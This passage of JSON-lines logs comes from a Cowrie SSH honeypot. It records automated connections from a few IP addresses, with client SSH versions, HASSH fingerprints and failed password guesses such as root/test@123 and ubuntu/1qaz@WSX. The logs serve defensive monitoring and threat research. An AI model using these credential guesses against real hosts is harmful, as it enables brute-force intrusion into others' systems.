dsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:38.157898Z","src_ip":"45.153.34.114","session":"e6c71eb3041b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:38.537516Z","src_ip":"45.153.34.114","session":"e6c71eb3041b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53700,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5eb27171571","protocol":"ssh","message":"New connection: 103.75.199.4:53700 (159.203.135.109:22) [session: c5eb27171571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:39.111250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:39.116919Z","src_ip":"103.75.199.4","session":"c5eb27171571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:39.207869Z","src_ip":"103.75.199.4","session":"c5eb27171571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:39.481846Z","src_ip":"103.75.199.4","session":"c5eb27171571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:39.624888Z","src_ip":"45.153.34.114","session":"e6c71eb3041b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:40.576292Z","src_ip":"103.75.199.4","session":"c5eb27171571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.28","src_port":56610,"dst_ip":"159.203.135.109","dst_port":22,"session":"48489c3085ce","protocol":"ssh","message":"New connection: 85.217.149.28:56610 (159.203.135.109:22) [session: 48489c3085ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:42.439820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:42.444697Z","src_ip":"85.217.149.28","session":"48489c3085ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc3aee897af7d3feb9fc37b89c7d15c9","hasshAlgorithms":"curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc3aee897af7d3feb9fc37b89c7d15c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:42.462650Z","src_ip":"85.217.149.28","session":"48489c3085ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:42.485368Z","src_ip":"85.217.149.28","session":"48489c3085ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35196,"dst_ip":"159.203.135.109","dst_port":22,"session":"b50a5fb732b4","protocol":"ssh","message":"New connection: 45.153.34.114:35196 (159.203.135.109:22) [session: b50a5fb732b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:45.665668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:45.671126Z","src_ip":"45.153.34.114","session":"b50a5fb732b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:45.756040Z","src_ip":"45.153.34.114","session":"b50a5fb732b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:46.016980Z","src_ip":"45.153.34.114","session":"b50a5fb732b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:47.112003Z","src_ip":"45.153.34.114","session":"b50a5fb732b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52974,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fac1070570b","protocol":"ssh","message":"New connection: 45.153.34.114:52974 (159.203.135.109:22) [session: 0fac1070570b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:53.600116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:53.630208Z","src_ip":"45.153.34.114","session":"0fac1070570b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:53.683825Z","src_ip":"45.153.34.114","session":"0fac1070570b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:54.009259Z","src_ip":"45.153.34.114","session":"0fac1070570b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:01:55.108838Z","src_ip":"45.153.34.114","session":"0fac1070570b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46612,"dst_ip":"159.203.135.109","dst_port":22,"session":"caaa0bb42e0e","protocol":"ssh","message":"New connection: 103.75.199.4:46612 (159.203.135.109:22) [session: caaa0bb42e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:00.943684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:00.948272Z","src_ip":"103.75.199.4","session":"caaa0bb42e0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:01.039627Z","src_ip":"103.75.199.4","session":"caaa0bb42e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:01.311884Z","src_ip":"103.75.199.4","session":"caaa0bb42e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34676,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad3be9d3d964","protocol":"ssh","message":"New connection: 45.153.34.114:34676 (159.203.135.109:22) [session: ad3be9d3d964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:01.333656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:01.346052Z","src_ip":"45.153.34.114","session":"ad3be9d3d964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:01.428991Z","src_ip":"45.153.34.114","session":"ad3be9d3d964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:01.810040Z","src_ip":"45.153.34.114","session":"ad3be9d3d964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:02.405218Z","src_ip":"103.75.199.4","session":"caaa0bb42e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:02.898957Z","src_ip":"45.153.34.114","session":"ad3be9d3d964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34936,"dst_ip":"159.203.135.109","dst_port":22,"session":"58c343cf14fc","protocol":"ssh","message":"New connection: 45.153.34.114:34936 (159.203.135.109:22) [session: 58c343cf14fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:09.575030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:09.579885Z","src_ip":"45.153.34.114","session":"58c343cf14fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:09.662053Z","src_ip":"45.153.34.114","session":"58c343cf14fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:10.000718Z","src_ip":"45.153.34.114","session":"58c343cf14fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:11.088675Z","src_ip":"45.153.34.114","session":"58c343cf14fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34940,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f93d2ebe56f","protocol":"ssh","message":"New connection: 45.153.34.114:34940 (159.203.135.109:22) [session: 6f93d2ebe56f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:17.349520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:17.353927Z","src_ip":"45.153.34.114","session":"6f93d2ebe56f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 